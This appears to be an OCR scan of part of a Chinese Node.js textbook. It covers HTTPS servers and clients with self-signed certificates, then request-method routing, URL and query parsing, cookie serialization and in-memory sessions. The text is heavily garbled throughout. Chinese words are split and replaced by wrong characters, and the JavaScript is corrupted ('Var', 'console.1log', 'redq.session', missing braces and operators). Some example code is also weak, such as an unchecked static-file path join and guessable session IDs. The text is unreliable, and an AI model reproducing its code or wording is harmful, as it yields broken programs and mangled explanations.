相同 ， 代 码 如 下 : 


var https = require('https'); 
var fs = require('fs'); 


Var options = { 
key: fs.readFileSync('./keys/server.key'), 
cert: fs.readFileSync('./keys/server.crt') 


}; 


https.createServer(options, function (req, res) { 
res.writeHead(200); 
res.end("hello world\n"); 

}).listen(8000); 


局 动 之 后 通过 curl 进 行 测 试 ， 相 关 代 码 如 下 所 示 : 


$ curl https://localhost:8000/ 

curl: (60) SSL certificate problem, verify that the CA cert is OK. Details: 
error:14090086:SSL routines:SSL3_ GET_SERVER_ CERTIFICATE:certificate verify fa 
iled 

More details here: http://curl.haxx.se/docs/sslcerts.html 


curl performs SSL certificate verification by default, using a "bundle" of Ce 
rtificate Authority (CA) public keys (CA certs). If the default bundle file i 
sn't adequate, you can specify an alternate file using the --cacert option. 

If this HTTPS server uses a certificate signed by a CA represented in the bun 
dle, the certificate verification probably failed due to a problem with the c 
ertificate (it might be expired, or the name might not match the domain name 

in the URL). 

If you'd like to turn off curl's verification of the certificate, use the - 
k (or --insecure) option. 


由 于 是 目 签 名 的 证 书 ，curl 工 具 无 法 验证 服务 器 端 证 书 是 否 正 
确 ， 所 以 出 现 了 上 述 的 抛 销 ， 要 解决 上 面 的 问题 丙种 方式 

一 种 是 加 -k 选 项 ， 让 curl 工 具 忽 略 掉 证 书 的 验证 ， 这 样 的 结果 是 
数据 依然 会 通过 公 钥 加 密 传输 ， 但 是 无 法 保证 对 方 是 可 靠 的 ， 
会 存在 中 间 人 攻击 的 漠 在 风险 。 其 结 采 如 下 所 示 : 


$ curl -k https://localhost:8000/ 
hello world 


= 种 解决 的 方式 是 给 curl 设 置 --cacert 选 项 ， 告 知 CA 证 书 使 之 完 
成 对 服务 器 证 书 的 验证 ， 如 下 所 示 : 


$ curl --cacert keys/ca.crt https://localhost:8000/ 
hello world 


HTTPS 客 户 端 
对 应 的 ， 我 们 也 会 用 Node 来 实现 HTTPS 的 客户 端 ， 与 HTTP 的 客 
户 端 相差 不 大 ， 除 了 指定 证 书 相 关 的 参数 外 ， 如 下 所 示 : 


var https = require('https'); 
var fs = require('fs'); 


Var options = { 
hostname: 'localhost', 
port: 8000, 
paths ,ZY 
method: "GET '， 
key: fs.readFileSync('./keys/client.key'), 
cert: fs.readFileSync('./keys/client.crt'), 
ca: [fs,.readFileSync('./keys/ca.crt')] 
}; 


options.agent = new https.Agent(options); 


var req = https.request(options, function(res) { 
res.setEncoding('utf-8°'); 
res.on('data', function(d) { 
console.1log(d); 
}); 


req.end( ); 


req.on('error', function(e) { 
console.log(e); 


}); 


执行 上 面 的 操作 得 到 以 下 输出 : 


$ node client.js 
hello world 


如 果 不 设置 ca 选项 ， 将 会 得 到 如 下 异常 


[Error: UNABLE_TO_VERIFY_LEAF_SIGNATURE] 


解决 该 异 弟 的 方 案 是 添加 选项 属性 -ejectunauthorized 为 false， 它 的 
效果 与 curl 工 具 加 -k 一 样 ， 都 会 在 数据 传输 过 程 中 会 加 密 ， 但 是 
无 法 保证 服务 历 冰 的 证 书 不 是 伪造 的 。 


7.6 ”总 结 


CN 一品 
Node 基 于 事件 驱动 和 非 阻 塞 设 计 ， 在 分 布 式 环境 中 尤其 能 发 挥 出 它 的 
特长 ， 基 于 事件 弛 动 可 以 实现 与 大 量 的 客户 端 进行 连接 ， 非 阻 设 计 
则 让 它 可 以 更 好 地 提升 网 络 的 啊 应 否 吐 。Node 提 供 了 相对 底层 的 网 络 
调用 ， 以 及 基于 事件 的 编程 接口 ， 使 得 开发 者 在 这 些 模块 上 十 分 轻松 
0 。 下 一 章 我 们 将 在 本 章 的 基础 上 探讨 具体 的 Web 应 


7.7 参考 资源 
本 章 参 考 的 资源 如 下 : 


. http://tools.ietf.org/html/rfc2616 
。 http:/hi.baidu.com/miracletan2008/itenmy/O0bc16c9d7af261de7b7f0 


la2 
。 http://tools.ietf.org/html/rfc6455 
. http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html 


。 http://en.wikipedia.org/wiki/OSI model 


hake with two way authentication with certificates.svg 


第 8 章 构建 web 应 用 

如 今 看 来 ，Web 应 用 位 然 是 互联 网 的 主角 ， 伴 随 Web 1.0、Web 2.0 一 路 
走 来 ，HTTP 占 据 了 网 络 中 的 大 多 数 流量 。 随 痢 移动 互联 网 时 代 的 到 
来 ，Web 又 开始 在 移动 浏览 右上 发 挥 光 和 热 。 在 Web 标 准 化 的 努力 过 
后 ，Web 又 开始 朝 辐 应 用 化 发 展 ，JavaScript 在 前 端 变 得 炙手可热 。 许 
多 原本 在 服务 右 端 实现 的 业务 细 季 ， 纷 纷 前 移 到 浏览 右 端 ， 前 端 MV* 
的 架构 也 日 趋 成 熟 。 与 之 逆流 的 是 ，Node 的 出 现 将 前 后 端的 壁 垒 再 次 
打破 ，JavaScript 这 门 最 初 束 能 运行 在 服务 右 端 的 语言 ， 在 经 历 了 前 端 
的 辉 焊 和 后 疹 的 低迷 后 ， 借 助 事 件 张 动 和 V8 的 高 性 能 ， 再 次 成 为 了 服 
务 器 端的 佼佼 者 。 在 Web 应 用 中 ，JavaScript 将 不 再 仅仅 出 现在 前 端 浏 
响 历 中 ， 因 为 Node 的 出 现 , “前 端 " 将 会 被 重新 定义 。 

为 了 胜任 Web 应 用 的 开发 工作 ， 各 种 语言 、 模 式 、 框 架 层 出 不 穷 。 单 
从 框架 而 言 ， 在 后 端 数 得 出 来 大 名 的 就 有 Struts、Codelgniter、Rails 、 
Django、web.py 等 ， 在 前 端 也 有 知名 的 BackBone 、Knockout. js 、 
AngularJS、Meteor 等 。 在 Node 中 ， 有 Connect 中 间 件 ， 也 有 Express 这 
样 的 MVC 框 架 。 值 得 注意 的 是 Meteor 框 架 ， 它 在 后 端 是 Node， 在 前 端 
是 JavaScript， 它 是 一 个 融合 了 前 后 端 JavaScript 的 框 嘛 。 

由 于 前 后 端 采 用 的 语言 都 是 JavaScript， 在 跨越 HTTP 进 行 沟通 时 ， 会 
有 一 些 额 外 的 好 处 。 


。 无 须 切换 语言 环境 ， 部 分 知识 不 会 因为 语言 环境 的 切换 而 丢 
大 。 二 下 区 并 侍从 好 

。 数据 (因为 JSON) 可 以 很 好 地 实现 跨 前 后 端 直 接 使 用 。 

。 一 些 业 务 《如 模板 泻 染 ) 可 以 很 自由 地 轻 量 地 选择 是 在 前 端 
还 是 在 后 端 进行 ， 因 为 编程 语言 相同 ， 所 以 切换 代价 小 。 


本 章 会 展开 描述 Web 应 用 在 后 端 实现 中 的 细 世 和 原理 。 


8.1 ”基础 功能 

在 第 7 章 中 ， 我 们 介绍 了 Node 的 网 络 编程 部 分 。 从 中 我 们 可 以 发 现 ， 
Node 是 十 分 贴近 网 络 协议 的 ， 它 的 非 阻塞 、 事 件 机 制 使 得 我 们 在 网 络 
编程 时 十 分 轻便 。 而 本 章 的 Web 应 用 方面 的 内 容 ， 将 从 nttp 模 块 中 服务 
郁 半 的 request 事 件 开 始 分 析 。request 事 件 发 生 于 网 络 连接 建立 ， 客 户 端 
回 服 务 邵 端 发 送 报 文 ， 服 务 需 端 解析 报 文 ， 发 现 HITP 请 求 的 报头 时 。 
在 已 触发 reqeust 事 件 前 ， 它 已 准备 好 serverRequest 和 serverResponse 对 象 以 供 
对 请 求 和 啊 应 报 文 的 操作 。 

以 官方 经 典 的 Hello World 为 例 ; 就 是 调用 serverrResponse 实 现 啊 应 的 ， 如 
J 


var http = require('http'); 

http,createServer(function (req, res) { 
res.writeHead(200, {'Content-Type': 'text/plain'}); 
res.end('Hello World\n'); 

}) .listen(1337, '127.0.0.1'); 

console.log('Server running at http://127.0.0.1:1337/'); 


对 于 一 个 Web 应 用 而 言 ， 仅 仅 只 是 上 面 这 样 的 响应 远 远 达 不 到 业务 的 
需求 。 在 具体 的 业务 中 ， 我 们 可 能 有 如 下 这 些 需 求 。 


。 请 求 方法 的 判断 。 

。 URL 的 路 径 解 析 。 

。 URL 中 查询 字符 串 解 析 。 

。 Cookie 的 解析 。 

。 Basic 认 证 。 

。 表单 数据 的 解析 。 

。 任意 格式 文件 的 上 传 处 理 。 


除 此 之 外 ， 可 能 还 有 Session (会 话 ) 的 需求 。 尽 管 Node 提 供 的 底层 
API 相 对 来 说 比较 人 简单， 但 要 完成 业务 需求 ， 还 需要 大 量 的 工作 ， 仅 
仅 一 个 request 事 件 似乎 无 法 满足 这 些 需 求 。 但 是 要 实现 这 些 需 求 并 非 难 
事 ， 一 切 的 一 切 ， 都 从 如 下 这 个 函数 展开 : 


function (req, res) { 
res.writeHead(200, {'Content-Type': 'text/plain'}); 
res.end(); 


在 第 4 草 中 ， 我 们 曾 对 高 阶 画 数 有 过 简单 的 介绍 : 我 们 的 应 用 可 能 无 限 
地 复杂 ， 但 是 只 要 最 终结 有 果 返 回 一 个 上 面 的 函数 作为 参数 ， 传 递 给 
createserver() 方 法 作为 request 事 件 的 侦 听 器 就 可 以 了 由 


你 可 能 看 到 Connect 或 Express 的 示例 中 有 如 下 这 样 的 代码 : 


var app = connect(); 

// var app = express(); 

// TODO 
http.createServer(app).1listen(1337); 


它 的 原理 即 是 如 此 。 我 们 在 具体 业务 开始 前 ， 需 要 为 业务 预 处 理 一 些 
细 厄 ， 这 些 细 市 将 会 挂 载 在 req 或 res 对 象 上 ， 供 业 务 代码 使 用 

8.1.1 ”请求 方法 

在 Web 应 用 中 ， 最 常见 的 请 求 方法 是 ser 和 posr， 除 此 之 外 ， 还 有 hao、 
pbELETE、PUT、 coNNEcT 等 方法 。 请 求 方法 存在 于 报 文 的 第 一 行 的 第 一 个 单 
词 ， 通常 是 大 写 。 如 下 为 一 个 报 文 头 的 示例 : 


> GET /path?foo=bar HTTP/1.1 

> User-Agent: curl/7.24.0 (x86_64-apple- 
darwin12.0) libcurl/7.24.0 OpenSssL/0.9.8r zl1ib/1.2.5 

> Host: 127.0.0.1:1337 

> Accept: */* 

> 


HTTP_Parser 在 解析 请 求 报 文 的 时 候 ， 将 报 文 尖 抽取 出 来 ， 设 置 为 
req.method。 通常 ， 我 们 只 需要 处 理 6er 和 post 两 类 请 求 方 法 ， 但 是 在 
RESTful 类 Web 服 务 中 请 求 方法 十 分 重要 ， 因 为 它 会 决定 质 源 的 操作 行 
为 。 pur 代表 新 建 一 个 资源 ， PosT 表 示 要 更 新 一 个 资源 ， ET 表示 查看 一 
个 资源 ， 而 veLere 表 示 删 除 一 个 资源 。 
我 们 可 以 通过 请 求 方法 来 决定 响应 行为 ， 如 下 所 示 : 
function (req, res) { 
Switch (req.method) { 
case 'POST': 
update(req, res); 
break; 
case 'DELETE"': 
remove(req, res); 
break; 
case 'PUT': 
create(req, res); 
break; 
case 'GET': 
default: 
get(req, res); 


上 述 代 码 代 表 了 一 种 根据 请 求 方法 将 复杂 的 业务 逻辑 分 发 的 思路 ， 是 
一 种 化 繁 为 简 的 方式 。 

8.1.2 ”路 径 解 析 

除了 根据 请 求 方法 来 进行 分 发 外 ， 最 常见 的 请 求 判断 莫 过 于 路 径 的 判 
断 了 。 路 径 部 分 存在 于 报 文 的 第 一 行 的 第 二 部 分 ， 如 下 所 示 : 


GET /path?foo=bar HTTP/1.1 


i 9 = 二 0 记 完整 的 URL 地 址 是 如 下 这 


http://user:pass@host.com:8080/p/a/t/h?query=string#hash 


客户 端 代理 (浏览 器 ) 会 将 这 个 地 址 解析 成 报 文 ， 将 路 径 和 查询 部 分 
放 在 报 文 第 一 行 。 需 要 注意 的 是 ，hash 部 分 会 被 丢弃 ， 不 会 存在 于 报 
文 的 任何 地 方 。 
最 利 见 的 根据 路 径 进行 业务 处 理 的 应 用 是 静态 文件 服务 右 ， 它 会 根据 
路 人 径 去 查找 们 副 中 的 文件 ， 然 后 将 其 啊 应 给 客户 问 ， 如 下 所 示 : 
function (req, res) { 
var pathname = url.parse(req.url).pathname; 
fs.readFile(path.join(ROOT, pathname), function (err, file) { 
if (err) { 
res.writeHead(404); 


res.end(' 找 不 到 相关 文件 。- -'); 


return; 


res.writeHead(200); 
res.end(file); 


了 


还 有 一 种 比较 第 见 的 分 发 场景 古 根 据 路 径 来 计 择 控制 表 ， 它 预 设 路 人 径 
为 控制 絮 和 行为 的 组 合 ， 无 须 额外 配置 路 由 信息 ， 如 下 所 示 : 


/controller/action/a/b/c 


这 里 的 controller 会 对 应 到 一 个 控制 右 ，action 对 应 到 控制 郝 的 行为 ， 剩 
余 的 值 会 作为 参数 进行 一 些 别 的 判断 。 
function (req, res) { 
var pathname = url.parse(req.url).pathname; 


var paths = pathname.split('/'); 
var controller = paths[1] || 'index'; 


var action = paths[2] || 'index'; 
var args = paths.slice(3); 
If (handles[controller] && handles[controller][action]) { 
handles[controller|[action].apply(null, [req, res].concat(args)); 
} else 
res.writeHead(500); 


res.end( ' 找 不 到 响应 控制 器 ' )， 
} 
} 


这 样 我 们 的 业务 部 分 可 以 只 关心 具体 的 业务 实现 ， 如 下 所 示 : 


handles.index = {}; 

handles.index.index = function (req, res, foo, bar) { 
res.writeHead(200); 
res.end(foo); 


了 


8.1.3 ”查询 字符 串 

查询 子 符 串 位 于 路 径 之 后 ， 在 地 址 栏 中 路 径 后 的 ?foo=barabaz=val 字 符 串 
就 是 查 间 末 全 这 个 字符 串 会 跟随 在 路 径 后 ， 形 成 请 求 报 文 百 行 的 
第 二 部 分 。 这 部 分 内 容 经 常 需 要 为 业务 逻辑 所 用 ，Node 提 供 了 
querystring 模 块 用 于 处 理 这 部 分 数据 ， 如 下 所 示 : 


var url = require('url'); 
var querystring = require('querystring'); 
var query = querystring.parse(url.parse(req.url).query); 


更 简 少 的 方法 是 是 给 i1. parset) 传 递 第 二 个 参数 ， 如 下 所 示 : 


var query = url.parse(req.url, true).dquery; 


它 会 将 foo=barabaz=val 解 析 为 一 个 JSON 对 象 ， 如 下 上 所 示 : 


foo: "bar '， 
baz: 'val' 


3. 


在 业务 调用 产生 之 前 ， 我 们 的 中 间 件 或 者 框架 会 将 得 询 字 符 串 转换 ， 
然后 挂 载 在 请 求 对 象 上 供 业务 使 用 ， 如 下 所 示 : 


function (req, res) { 
req.query = url.parse(req.url, true).dquery; 
hande(req, res); 


要 注意 的 点 是 ， 如 采 碍 询 字 符 串 中 的 键 出 现 多 次 ， 那 么 它 的 值 会 
个 数组 ， 如 下 所 示 : 


// foo=bar&foo=baz 
var query = url.parse(req.url, true).dquery; 
//{ 


YX foos [Dar 7 二 二 提 az 之] 
VNB, 


业务 的 判断 一 定 要 检查 值 是 数组 还 古 字 符 串 ， 否 则 可 能 出 现 Typeerror 异 
常 的 情况 。 


8.1.4 Cookie 


1. 初 识 Cookie 

在 Web 应 用 中 ， 请 求 路 径 和 查询 字符 串 对 业务 至 关 重 要 ， 通 
过 它们 已 经 可 以 进行 很 多 业务 操作 了 ， 但 是 HTTP 是 一 个 无 状 
态 的 协议 ， 现实 中 的 业务 却 是 需要 一 定 的 状态 的 ， 否则 无 法 
区 分 用 户 之 间 的 号 份 。 如何 标识 和 认证 一 个 用 户 ， 最 早 的 方 
案 就 是 Cookie 〈 曲 奇 饼 ) 了 。 
Cookie 最 早 由 文本 浏 贤 器 Lynx 合 作 开 发 者 Lou Montulli 在 1994 
年 网 景 公 司 开发 Netscape 浏 览 需 的 第 一 个 版 本 时 发 明 。 它 能 
记录 服务 器 与 客户 端 之 间 的 状态 ， 最 早 的 用 处 就 是 用 来 判断 
用 户 是 否 第 一 次 访问 网 站 。 在 1997 年 形成 规范 RFC 2109， 目 
前 最 新 的 规范 为 RFC 6265， 它 是 一 个 由 浏览 器 和 服务 器 共同 
协作 实现 的 规范 。 
Cookie 的 处 理 分 为 如 下 几 步 。 

9 服务 器 同 客 户 端 发 送 Cookie 。 

9 浏览 器 将 Cookie 保 存 。 

o 之 后 每 次 浏览 器 都 会 将 Cookie 发 和 癌 服 务 器 端 。 
客户 端 发 送 的 Cookie 在 请 求 报 文 的 cookie 字 段 中 ， 我 们 可 以 通 
过 curl 工 具 构 造 这 个 字段 ， 如 下 所 示 : 


curl -v -H "Cookie: foo=bar; baz=val" "http://127.0.0.1:1337/path? 
foo=bar&foo=baz" 


HTTP_Parser 会 将 所 有 的 报 文 字段 解析 到 req.neasers 上 ， 那 么 
Cookie 就 是 req.neaders,cookie。 根 据 规范 中 的 定义 ，Cookie 值 的 
格式 是 key=value; key2=value2 形 式 的 ， 如 果 我 们 需要 Cookie， 解 
析 它 也 十 分 容易 ， 如 下 所 示 : 


var parseCookie = function (cookie) { 
var cookies = {}; 
if (!cookie) { 
return cookies,; 


Var list = cookie.split("';'); 

for (var i = 0; i < list.length; i++) { 
var pair = list[i].split('="); 
cookies[pair[0].trim()] = pair[1]; 


return cookies,; 


在 业务 逻辑 代码 执行 之 前 ， 我 们 将 其 挂 载 在 req 对 象 上 ， 让 业 
务 代码 可 以 直接 访问 ， 如 下 所 示 : 


function (req, res) 
req.cookies = parseCookie(req.headers.cookie); 
hande(req, res); 
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这 样 我们 的 业务 代码 就 可 以 进行 判断 处 理 了 ， 如 下 所 示 : 
var handle = function (req, res) { 
res.writeHead(200); 
If (!req.cookies.isVisit) { 
res.end(' 欢 迎 第 一 次 来 到 动物 园 ' ) ; 
} else { 
// TODO 
} 
}; 
任何 请 求 报 文 中 ， 如 果 Cookie 值 没有 isvisit， 都 会 收 到 “欢迎 
第 一 次 来 到 动物 园 ” 这 样 的 啊 应 。 这 里 提出 一 个 问题 ， 如 果 识 
别 到 用 户 没 有 访问 过 我 们 的 站 点 ， 那 么 我 们 的 站 点 是 否 应 该 
告诉 客户 端 已 经 访问 过 的 标识 呢 ? 告 知客 户 病 的 方式 是 通过 
吧 应 报 文 实现 的 ， 啊 应 的 Cookie 值 在 set-cookie 字 段 中 。 它 的 格 
式 与 请 求 中 的 格式 不 太 相同 ， 规 范 中 对 它 的 定义 如 下 所 示 : 


Set-Cookie: name=value; Path=/; Expires=Sun, 23-Apr- 
23 09:01:35 GMT; Domain=.domain.com; 


其 中 nane=value 是 必须 包含 的 部 分 ， 其 余部 分 句 是 可 选 参数 

这 些 可 选 参数 将 会 影响 浏览 右 在 后 续 将 Cookie 发 送 给 服务 恬 

端的 行为 。 以 下 为 主要 的 几 个 选项 。 
path 表 示 这 个 Cookie 影 响 到 的 路 径 ， 当 前 访问 的 路 径 不 满 
足 该 匹配 时 ， 浏 贤 器 则 不 发 送 这 个 Cookie 。 
Expires 和 Max-Age 是 用 来 告知 浏览 器 这 个 Cookie 何 时 过 期 
的 ， 如 果 不 设置 该 选项 ， 在 关闭 浏 贤 絮 时 会 丢失 掉 这 个 
Cookie。 如 果 设 置 了 过 期 时 间 ， 浏 览 器 将 会 把 Cookie 内 
容 写 入 到 磁盘 中 并 保存 ， 下 次 打开 浏览 絮 依 旧 有 效 。 
Expires 的 值 是 一 个 UTC 格 式 的 时 间 字 符 串 ， 告 知 浏览 器 此 
Cookie 何 时 将 过 期 ，max-age 则 告知 浏 毁 絮 此 Cookie 多 久 后 
过 期 。 前 者 一 般 而 言 不 存在 问题 ， 但 是 如 果 服 务 器 端的 
时 间 和 客户 端的 时 间 不 能 匹配 ， 这 种 时 间 设 置 就 会 存在 
依 差 。 为 此 ，nwax-age 告 知 浏 跑 右 这 条 Cookie 多 久之 后 过 
期 ， 而 不 是 一 个 具体 的 时 间 点 。 


Httponly 告 知 浏 贤 亏 不 允许 通过 脚本 docunent.cookie 去 更 改 这 
个 Cookie 值 ， 事 实 上， 设置 rttpomly 之 后 ， 这 个 值 在 
document ,cookie 中 不 可 见 四 但 是 在 HTTP 请 求 的 过 程 中 ) 依 
然 会 发 送 这 个 Cookie 到 服务 器 端 。 
Secure ° 当 Secure 值 为 true 时 5 在 HTTP 中 是 无 效 的 ， 在 
HTTPS 中 才 有 效 ， 表 示 创 建 的 Cookie 只 能 在 HITPS 连 接 
中 被 浏览 右 传 递 到 服务 器 端 进行 会 话 验 证 ， 如 采 是 HITP 
连接 则 不 会 传递 该 信息 ， 所 以 很 难 被 窃听 到 。 
知道 Cookie 在 报 文 头 中 的 具体 格式 后 ， 下 面 我 们 将 Cookie 序 
列 化 成 符合 规范 的 字符 串 ， 相 关 代 码 如 下 : 


var serialize = function (name, val, opt) { 
var pairs = [name + '=' + encode(val)]; 
opt = opt || {}; 


If (opt.maxAge) pairs.push('Max-Age=' + opt.maxAge); 

If (opt.domain) pairs.push('Domain=' + opt.domain); 

If (opt.path) pairs.push('Path="' + opt.path),; 

If (opt.expires) pairs.push('Expires=' + opt.expires.toUTCString()); 
If (opt.httponly) pairs.push('HttpOonly'); 

if (opt.secure) pairs.push( 'Secure ' ) 


return pairs.join('; '); 


}; 


上 略 改 前 文 的 访问 逻辑 ， 我 们 就 能 轻松 地 判断 用 户 的 状态 了 ， 
如 下 所 示 : 


var handle = function (req, res) { 
if (!req.cookies,.isVisit) { 
res.setHeader('Set-Cookie', serialize('isVisit', '1')); 
res.writeHead(200); 
res.end(' 欢 迎 第 一 次 来 到 动物 园 ' )， 
} else { 
res.writeHead(200); 
res.end(' 动 物 园 再 次 欢迎 你 ' ) ; 
} 
}; 


客户 端 收 到 这 个 带 set-cookie 的 响应 后 ， 在 之 后 的 请 求 时 会 在 

Cookie 字 段 中 带 上 这 个 值 。 

值得 注意 的 是 ，set-cookie 是 较 少 的 ， 在 报头 中 可 能 存在 多 个 

° 为 此 res.setheader 的 第 二 个 参数 可 以 是 一 个 数组 ， 如 下 
全 \: 


res.setHeader('Set- 
Cookie', [serialize('foo', 'bar'), serialize('baz', 'val')]); 


这 会 在 报 文 头 部 中 形成 两 条 set -cookie 字 有 段 : 


Set-Cookie: foo=bar Path=/， Expires=Sun, 23-Apr- 
23 09:01:35 GMT; Domain=,.domain.com， 


Set-Cookie: baz=val; Path=/， Expires=Sun, 23-Apr- 
23 09:01:35 GMT; Domain=,domain.com; 
Cookie 的 性 能 影响 


由 于 Cookie 的 实现 机 制 ， 一 旦 服务 絮 端 同 客 户 端 发 送 了 设置 
Cookie 的 意图 ， 除 非 Cookie 过 期 ， 否 则 客户 端 每 次 请 求 都 会 
发 送 这 些 Cookie 到 服务 器 端 ， 一 旦 设置 的 Cookie 过 多 ， 将 会 
导致 报头 较 大 。 大 多 数 的 Cookie 并 不 需要 每 次 都 用 上 ， 因 为 
这 会 音 成 市 沉 鸭 屠 分 浪 导 °。 在 YSlow 的 性 能 优化 规则 中 有 这 
人 一 未 : 
减 小 Cookie 的 大 小 
更 严重 的 情况 是 ， 如 果 在 域名 的 根 节 点 设置 Cookie， 几 
乎 所 有 子路 径 下 的 请 求 都 会 带 上 这 些 Cookie， 这 些 
Cookie 在 某 些 情况 下 是 有 用 的 ， 但 是 在 有 些 情 况 下 是 完 
全 无 用 的 。 其 中 以 静态 文件 最 为 典型 ， 静 态 文 件 的 业务 
定位 几乎 不 关心 状态 ，Cookie 对 它 而 言 几乎 是 无 用 的 ， 
但 是 一 旦 有 Cookie 设 置 到 相同 域 下 ， 它 的 请 求 中 就 会 市 
上 Cookie。 好 在 Cookie 在 设计 时 限定 了 它 的 域 ， 只 有 域 
名 相同 时 才 会 发 送 。 所 以 YSlow 中 有 另外 一 条 规则 用 来 
避免 Cookie 市 来 的 性 能 影 啊 。 
为 静态 组 件 使 用 不 同 的 域名 
简 而 言 之 束 是 ， 为 不 需要 Cookie 的 组 件 换个 域名 可 以 实 
现 减 少 无 效 Cookie 的 传输 。 所 以 很 多 网 站 的 静态 文件 会 
有 特别 的 域名 ， 使 得 业务 相关 的 Cookie 不 再 影响 静态 资 
源 。 当 然 换 用 额外 的 域名 和 融 来 的 好 处 不 只 这 点 ， 还 可 以 
突破 浏览 絮 下 载 线 程 数 量 的 限制 ， 因 为 域名 不 同 ， 可 以 
将 下 载 线程 数 翻 俐 。 但 是 换 用 额外 域名 还 是 有 一 定 的 缺 
扩 的 ， 那 就 是 将 域名 转换 为 IP 需 要 进行 DNS 查 询 ， 多 一 
个 域名 就 多 一 次 DNS 查 询 。YSlow 中 有 这 样 一 条 规则 : 
减少 DNS 查 询 
看 起 来 减少 DNS 查询 和 使 用 不 同 的 域名 是 冲突 的 两 条 规 
则 ， 但 是 好 在 现今 的 浏 哎 器 都 会 进行 DNS 缓存 ， 以 削弱 
这 个 副作用 的 影响 。 
Cookie 除 了 可 以 通过 后 端 添 加 协议 头 的 字段 设置 外 ， 在 
前 端 浏 览 絮 中 也 可 以 通过 JavaScript 进 行 修改 ， 浏 贤 如 将 


Cookie 通 过 uocunent.cookie 又 露 给 了 JavaScript 前 端 在 修改 
Cookie 之 后 ， 后 续 的 网 络 请 求 中 束 会 携带 上 修改 过 后 的 
值 。 


目前 ， 广 告 和 在 线 统计 领域 是 最 为 依赖 Cookie 的 ， 通 过 
舱 入 第 三 方 的 广告 或 者 统计 脚本 ， 将 Cookie 和 当前 页 面 
绑 定 ， 这 样 束 可 以 标识 用 户 ， 得 到 用 户 的 浏览 行为 ， 广 
告 商 就 可 以 定 辣 投放 广告 了 了。 尽管 这 样 的 行为 看 起 来 很 
可 怕 ， 但 是 从 Cookie 的 原理 来 说 ， 它 只 能 做 到 标识 ， 而 
不 能 做 任何 具有 破坏 性 的 事情 。 如 末 依 然 担心 目 己 站 斥 
的 用 户 被 记录 下 行为 ， 那 束 不 要 挂 任何 第 三 方 的 脚本 。 


8.1.5 Session 

通过 Cookie， 浏 览 右 和 服务 器 可 以 实现 状态 的 记录 。 但 是 Cookie 并 非 
是 完美 的 ， 前 文 提 及 的 体积 过 大 束 是 一 个 显 车 的 问题 ， 最 为 严重 的 问 
题 是 Cookie 可 以 在 前 后 端 进 行 修改 ， 因 此 数据 就 极 容易 被 息 改 和 伪 
造 。 如 果 服 务 器 端 有 部 分 逻辑 是 根据 Cookie 中 的 isvip 字 段 进 行 判 断 ， 
那么 一 个 普通 用 户 通 过 修改 Cookie 职 可 以 轻松 享受 到 VIP 服务 了 。 绽 上 
所 述 ，Cookie 对 于 敏感 数据 的 保护 是 无 效 的 。 

为 了 解决 Cookie 敏 感 数 据 的 问题 ，Session 应 运 而 生 。Session 的 数据 只 
保留 在 服务 避 端 ， 客 户 端 无 法 修改 ， 这 样 数 据 的 安全 性 得 到 一 定 的 保 
障 ， 数 据 也 无 须 在 协议 中 每 次 都 被 传递 。 

虽然 在 服务 器 端 存 储 数据 十 分 方便 ， 但 是 如 何 将 每 个 客户 和 服务 器 中 
的 数据 一 一 对 应 起 来 ， 这 里 有 常见 的 两 种 实现 方式 。 


。 第 一 种 : 基于 Cookie 来 实现 用 户 和 数据 的 映射 

虽然 将 所 有 数据 都 放 在 Cookie 中 不 可 取 ， 但 是 将 口令 放 在 
Cookie 中 还 是 可 以 的 。 因 为 口令 一 旦 被 管 改 ， 就 丢失 了 映射 
关系 ， 也 无 法 修改 服务 辟 端 存在 的 数据 了 。 并 且 Session 的 有 
效 期 通常 较 短 ， 普 遍 的 设置 是 20 分 钟 ， 如 果 在 20 分 钟 内 容 户 
端 和 服务 器 端 没 有 交互 产生 ， 服 务 器 端 就 将 数据 删除 。 由 于 
数据 过 期 时 间 较 短 ， 且 在 服务 絮 端 存储 数据 ， 因 此 安全 性 相 
对 较 高 。 那 么 口令 是 如 何 产 生 的 呢 ? 

一 旦 服务 器 端 启 用 了 Session， 它 将 约定 一 个 键 值 作为 Session 
的 口令 ， 这 个 值 可 以 随意 约定 ， 比 如 Connect 默 认 采 用 


connect_uid ， Tomcat 会 采用 jsessionid 等 9 一 旦 服务 器 检查 | 用 


户 请 求 Cookie 中 没有 携带 该 值 ， 它 束 会 为 之 生成 一 个 值 ， 
个 值 是 唯一 且 不 重复 的 值 ， 并 设 定 超时 时 间 。 
session 的 代码 : 


Var sessions = {}; 
Var key = 'session id'; 
Var EXPIRES = 20 * 60 * 1000; 


var generate = function () { 
Var session = {}; 
session.id = (new Date()).getTime() + Math,random() ; 
session.cookie = { 
expire: (new Date()).getTime() + EXPIRES 
}; 
sessions[session.id] = session; 
return session; 


}; 


每 个 请 求 到 来 时 ， 检 查 Cookie 中 的 口令 与 服务 器 端的 数据 ， 
如 有 果 过 期 ， 束 重新 生成 ， 如 下 所 示 : 


function (req, res) { 
var id = req.cookies[key]; 
if (!id) { 
redq.session = generate(); 
} else { 
var session = sessions[id]; 
if (session) { 
If (session.cookie.expire > (new Date()).getTime()) { 
// 更 新 超时 时 间 
session.cookie.expire = (new Date()).getTime() + EXPIRES; 
redq.session = session,; 
else 
// 超时 了 ， 删 除 旧 的 数据 ， 并 重新 生成 
delete sessions[id]; 
redq.session = generate(); 


ww 


} 

} else { 
// 如 果 session 过 期 或 口令 不 对 ， 重 新 生成 session 
redq.session = generate(); 


} 
handle(req, res); 


当然 仅仅 重新 生成 Session 还 不 足以 完成 整个 流程 ， 还 需要 在 
啊 应 给 客户 端 时 设置 新 的 值 ， 以 便 下 次 请 求 时 能 够 对 应 服务 
右 端 的 数据 。 这 里 我 们 hack 啊 应 对 象 的 writeheadug) 方 法 ， 在 它 
的 内 部 注入 设置 Cookie 的 逻辑 ， 如 下 所 示 : 


var writeHead 
res.writeHead 


res.writeHead; 
function () { 

var cookies res.getHeader('Set-Cookie'),; 

var session serialize(key, req.session.id); 

cookies = Array.isArray(cookies) ? cookies.concat(session) : [cookies, 
session]; 


res.setHeader('Set-Cookie', cookies); 
return writeHead.apply(this, arguments); 


了 


至 此 ，session 在 前 后 端 进行 对 应 的 过 程 就 完成 了 。 这 样 的 业 
务 逻 辑 可 以 判断 和 设置 session， 以 此 来 维护 用 户 与 服务 器 端 
的 关系 ， 如 下 所 示 : 


var handle = function (req, res) { 
if (!req.session,.isVisit) { 
redq.session.isVisit = true; 
res.writeHead(200); 
res .end(' 欢 迎 第 一 次 来 到 动物 园 ' )， 
} else { 
res.writeHead(200); 
res.end(' 动 物 园 再 次 欢迎 你 ' ) ; 
} 
}; 


